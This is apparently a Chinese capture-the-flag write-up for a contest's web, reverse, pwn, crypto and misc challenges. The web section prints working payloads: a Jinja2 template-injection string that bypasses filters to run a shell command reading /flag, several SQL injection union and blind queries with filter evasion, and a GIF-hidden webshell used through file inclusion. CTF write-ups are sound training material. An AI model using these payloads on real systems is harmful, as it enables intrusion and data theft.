秋季赛WP

秋季赛WP

一个人就是一支队伍

WEB

Easy-ssti

服务器模板注入,jinja2漏洞,{{7*7}}有回显说明有注入漏洞,_和[被过滤,用require函数结合attr绕过。
Jinja2模板参考
http://doc.yonyoucloud.com/doc/jinja2-docs-cn/templates.html#builtin-filters

注入语句:

{{lipsum|attr(request.args.a)|attr("get")(request.args.b)|attr("get")("e"+"val") (request.args.c)}}&a=globals&b=builtins&c=import("os").popen("cat /flag").read()

"e"+"val" ‘o’+’s’ “编码”.decode(‘base64’)绕过敏感字

Easy-sql1

常规的1’//or//1>0#和order by之后,经历一番绕过得出能运行的注入语句:

username=1'/**/union/**/(SeleCT/**/database(),2)#&password=

得到数据库名

因为=被过滤,不想麻烦绕过就直接爆出整个表名

username=1'/**/union/**/(SeleCT/**/group_concat(table_name),2/**/from/**/information_schema.tables)#&password=

查找到含flag的表名:flag_table_1

username=1'/**/union/**/(SeleCT/**/FLAG,2/**/from/**/flag_table_1)#&password=

得flag

Easy-ez_upload

用御剑扫描目录

访问/robot.txt

得文件上传地址,只允许图片上传。用一句话木马攻击,尝试各种方法都没法上传成php格式后,尝试图马。一开始直接把一句话木马写在图片末尾,上传后发现被过滤掉了,考虑二次渲染。网上说png、jpeg不好改,用gif改。用winhex对比原gif和二次渲染过的gif找出相同的字段,插入木马。

上传图片,木马没有被过滤,但图片还是以gif格式解析,蚁剑无法连接…卡了好久之后看原来黑屏的网页

明明有提示文件包含我却没看…

利用文件包含漏洞,使gif以php格式解析,访问

蚁剑终于连接成功

找不到flag文件,用命令行试试

找到flag

Medium-web4

布尔盲注,感觉出题人应该是个好人,所以猜测是同一个库,尝试题目sql1的注入语句

username=1'/**/union/**/(SeleCT/**/FLAG,2/**/from/**/flag_table_1)#&password=

回显是good,说明猜对了

username=1'or(length(database())>6)#&password=   good
username=1'or(length(database())>7)#&password=   try again

库名长度为7,猜应该是cumtctf,脚本爆破验证一下

没猜错,因为sql1的语句回显是good,猜测flag还是在flag_table_1

因为=被过滤,判断字符用<和>绕过

username=1'or(select(ascii(mid((select(flag)from(flag_table_1)limit/**/0,1),1,
1)))>0)%26%26(select(ascii(mid((select(flag)from(flag_table_1)limit/**/0,1),1,
1)))<125)#&password=

回显good,说明又猜对了,上脚本爆破得flag(脚本绕过语句存在注释符,所以和手注有区别,绕过空格不能用/**/,而用/!/),flag长度猜大一点

RE

Easy-签到

ida常规通过字符串找到函数

16进制解码得flag

Easy-net

提示net,因为没有.net环境,无法看运行情况,但用ILSpy能直接反编译函数


大致意思就是一个字符串经过一系列运算,能经过最后一个if判断。逆向爆破可以得到这个字符串,问题是不知道字符串长度。但经过算法OJ题的轮番折磨,我知道array2[j]里的j不能超过该数组长度28(array2有28个数),所以j最大值即字符串长度为28。

这就好办了,上脚本爆破得flag

PWN

Easy-pwn1

Nc一下,cat flag

Easy-pwn2

标准栈溢出,buf是0x40h但要读入0x60h的数据,参考攻防世界栈溢出的题解写脚本

Call system地址

填充0x48覆盖buf和push内容,再覆盖返回地址,脚本:

执行

Easy-pwn3

exeinfo查了一下, 32位

用ida32打开,通过字符串找到函数

查资料时发现博客

(10条消息) BUUCTF-PWN刷题记录-6_L.o.W的博客-CSDN博客

不能说毫无相关,简直就是一模一样…

先填充满缓冲区,泄露ebp,然后使用栈迁移执行system,运行得flag

Crypto

Easy-签到

逆向爆破,懒得判断数字和符号,爆出来再加上就是flag

脚本

加上数字和符号

Easy-lcg

LCG就是线性同余法,得到的是弱伪随机数,参考lcg教程

http://www.manongjc.com/detail/22-hpzrquvdaforjqj.html

参考里面的脚本,运行得到flag

Misc

Easy-签到

base32解密

Easy-LSB?

LSB隐写,Stegslove多次尝试修改低位的0、1,如图拿到flag

Easy-压缩包

有点阴间的题目,第一个压缩包就是伪加密,HXD打开修改全局方式位标记为00 00,能够打开压缩包,得到下一个压缩包。HXD查看是真加密,根据提示用ziperello爆破得密码

又得到了真两个加密文件,卡了好久之后想起加密的图在别的题里有原图,对比两这的冗余码,确认是同一个文件。一个已知解密文件和一个相同的加密文件不就是明文攻击嘛。

把已知图片压缩成包,ARCHPR明文攻击得密码,解开的flag

Easy-加密?

套娃加密题,图片是福尔摩斯密码,解密得到密码SHERLOCK

第二个压缩包的txt文件是零宽字符加密,解密得密码

打开flag文件, base16解密

Medium-社工?

一开始用微信QQ扫码都没用,就着jpeg研究了好久还是解不出,直到我知道一个叫中国编码的东东…

WANG/JIA就是这个人的名字,也就拿到了flag